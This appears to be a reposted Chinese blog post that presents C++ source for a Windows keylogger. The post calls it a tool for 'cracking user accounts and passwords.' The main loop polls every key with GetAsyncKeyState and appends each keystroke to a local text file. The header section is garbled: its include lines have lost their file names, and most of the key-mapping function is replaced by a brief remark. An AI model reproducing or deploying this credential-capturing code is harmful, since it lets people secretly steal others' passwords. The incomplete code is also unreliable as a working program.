C/C++程序截获账号及密码技术

一、【程序运行效果】
在这里插入图片描述

二、【主函数】
// CrackPasswordDemo.cpp : 定义控制台应用程序的入口点。
//

#include “stdafx.h”

#include “KeyFile.h”

int _tmain(int argc, _TCHAR* argv[])
{
string Filename = “.\TLDataFile.txt”;
string TempString = “”;
fstream FStream;
printf("\n\n\n\n\n\t\t※※※※※※※※※※※※※※※※※※※※※※※※※※※※\n");
printf("\t\t※ ※\n");
printf("\t\t※ 【破解用户账号及密码工具系统】 ※\n");
printf("\t\t※ ※\n");
printf("\t\t※ 作者:Sirius ※\n");
printf("\t\t※ ※\n");
printf("\t\t※※※※※※※※※※※※※※※※※※※※※※※※※※※※\n");

FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
while (true)
{
	Sleep(5);
	for (int i = 8; i <= 255; i++)
	{
		if (GetAsyncKeyState(i) & 1 == 1)
		{
			TempString = GetKey(i);
			FStream.write(TempString.c_str(), TempString.size());
			FStream.close();
			FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
		}
	}
}

return 0;

}

三、【头文件】
#include <windows.h>
#include <Winuser.h>
#include
#include
#include
using namespace std;
string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = “”;
//判断符号输入
const int KeyPressMask = 0x80000000; //键盘掩码常量
int iShift = GetKeyState(0x10); //判断Shift键状态
bool IS = (iShift & KeyPressMask) == KeyPressMask; //表示按下Shift键

主要判断用户键盘扫描码与虚拟键码之间的转换即可完成

return KeyString;

}

发布了14 篇原创文章 · 获赞 21 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/wuyongmao/article/details/91478743
今日推荐